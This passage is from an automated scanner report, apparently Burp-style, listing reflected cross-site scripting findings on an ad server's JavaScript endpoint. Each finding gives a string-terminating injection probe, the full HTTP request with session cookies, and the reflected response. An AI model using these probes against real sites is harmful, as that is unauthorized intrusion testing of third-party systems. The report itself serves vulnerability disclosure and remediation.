This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20135122/1793/0/0/203687991f4d45'%3b635acea8c54/203687991//0/203/9542//5000005/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 6112 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:46 GMT Date: Sat, 26 Feb 2011 01:49:46 GMT Connection: close
var zzADS_CHAN = '203687991f4d45';635acea8c54'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = zzPage_obj[zzADS_CHAN].zzTrd;
The value of REST URL parameter 10 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a2e4c'%3b75866eeb8cb was submitted in the REST URL parameter 10. This input was echoed as a2e4c';75866eeb8cb in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20140829/3585/0/0/203687989/203687989//0/203a2e4c'%3b75866eeb8cb/9542//4000004/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1498 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:53 GMT Date: Sat, 26 Feb 2011 01:49:53 GMT Connection: close
var zzADS_CHAN = '203687989'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... anguage=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0%3Bc=203687989,203687989%3Bi=0%3Bn=203a2e4c';75866eeb8cb%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?"> ...[SNIP]...
The value of REST URL parameter 11 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5ec13'%3bb82047b1192 was submitted in the REST URL parameter 11. This input was echoed as 5ec13';b82047b1192 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20140829/3585/0/0/203687989/203687989//0/203/95425ec13'%3bb82047b1192//4000004/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1498 Cache-Control: max-age=2591945 Expires: Mon, 28 Mar 2011 01:49:03 GMT Date: Sat, 26 Feb 2011 01:49:58 GMT Connection: close
var zzADS_CHAN = '203687989'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... 'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0%3Bc=203687989,203687989%3Bi=0%3Bn=203%3Bs=95425ec13';b82047b1192%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 585a1'%3b1941ee17325 was submitted in the REST URL parameter 4. This input was echoed as 585a1';1941ee17325 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20140829/3585585a1'%3b1941ee17325/0/0/203687989/203687989//0/203/9542//4000004/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1498 Cache-Control: max-age=2591996 Expires: Mon, 28 Mar 2011 01:49:28 GMT Date: Sat, 26 Feb 2011 01:49:32 GMT Connection: close
var zzADS_CHAN = '203687989'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585585a1';1941ee17325%3Bg=0,0%3Bc=203687989,203687989%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?"> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fde13'%3b899c01c4079 was submitted in the REST URL parameter 5. This input was echoed as fde13';899c01c4079 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20140829/3585/0fde13'%3b899c01c4079/0/203687989/203687989//0/203/9542//4000004/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1498 Cache-Control: max-age=2591982 Expires: Mon, 28 Mar 2011 01:49:17 GMT Date: Sat, 26 Feb 2011 01:49:35 GMT Connection: close
var zzADS_CHAN = '203687989'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0fde13';899c01c4079,0%3Bc=203687989,203687989%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?"> ...[SNIP]...
The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a9129'%3b96c2477c71d was submitted in the REST URL parameter 6. This input was echoed as a9129';96c2477c71d in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20140829/3585/0/0a9129'%3b96c2477c71d/203687989/203687989//0/203/9542//4000004/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1498 Cache-Control: max-age=2591947 Expires: Mon, 28 Mar 2011 01:48:46 GMT Date: Sat, 26 Feb 2011 01:49:39 GMT Connection: close
var zzADS_CHAN = '203687989'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0a9129';96c2477c71d%3Bc=203687989,203687989%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?"> ...[SNIP]...
The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 59ed7'%3bde0cfbe8e7b was submitted in the REST URL parameter 7. This input was echoed as 59ed7';de0cfbe8e7b in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20140829/3585/0/0/20368798959ed7'%3bde0cfbe8e7b/203687989//0/203/9542//4000004/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1516 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:42 GMT Date: Sat, 26 Feb 2011 01:49:42 GMT Connection: close
var zzADS_CHAN = '20368798959ed7';de0cfbe8e7b'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = zzPage_obj[zzADS_CHAN].zzTrd;
The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 714d0'%3b84e7733cd79 was submitted in the REST URL parameter 8. This input was echoed as 714d0';84e7733cd79 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20140829/3585/0/0/203687989/203687989714d0'%3b84e7733cd79//0/203/9542//4000004/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1498 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:45 GMT Date: Sat, 26 Feb 2011 01:49:45 GMT Connection: close
var zzADS_CHAN = '203687989'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0%3Bc=203687989,203687989714d0';84e7733cd79%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?"> ...[SNIP]...
The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5bc40'%3b05fa3e45893 was submitted in the REST URL parameter 9. This input was echoed as 5bc40';05fa3e45893 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20140829/3585/0/0/203687989/203687989//05bc40'%3b05fa3e45893/203/9542//4000004/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1498 Cache-Control: max-age=2591966 Expires: Mon, 28 Mar 2011 01:49:14 GMT Date: Sat, 26 Feb 2011 01:49:48 GMT Connection: close
var zzADS_CHAN = '203687989'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0%3Bc=203687989,203687989%3Bi=05bc40';05fa3e45893%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?"> ...[SNIP]...
The value of REST URL parameter 10 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 41e20'%3b27304de4fd1 was submitted in the REST URL parameter 10. This input was echoed as 41e20';27304de4fd1 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20142454/2305/0/0/203687985/203687985//0/20341e20'%3b27304de4fd1/9542//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1499 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:51 GMT Date: Sat, 26 Feb 2011 01:49:51 GMT Connection: close
var zzADS_CHAN = '203687985'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... nguage=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.6;sz=300x250;click0=http://o1.qnsr.com//cgi/c%3Fa=20142454%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985%3Bi=0%3Bn=20341e20';27304de4fd1%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?"> ...[SNIP]...
The value of REST URL parameter 11 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cee84'%3bfb335840d2c was submitted in the REST URL parameter 11. This input was echoed as cee84';fb335840d2c in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542cee84'%3bfb335840d2c//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1499 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:54 GMT Date: Sat, 26 Feb 2011 01:49:54 GMT Connection: close
var zzADS_CHAN = '203687985'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.6;sz=300x250;click0=http://o1.qnsr.com//cgi/c%3Fa=20142454%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542cee84';fb335840d2c%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cb585'%3bfb49cec39f9 was submitted in the REST URL parameter 4. This input was echoed as cb585';fb49cec39f9 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
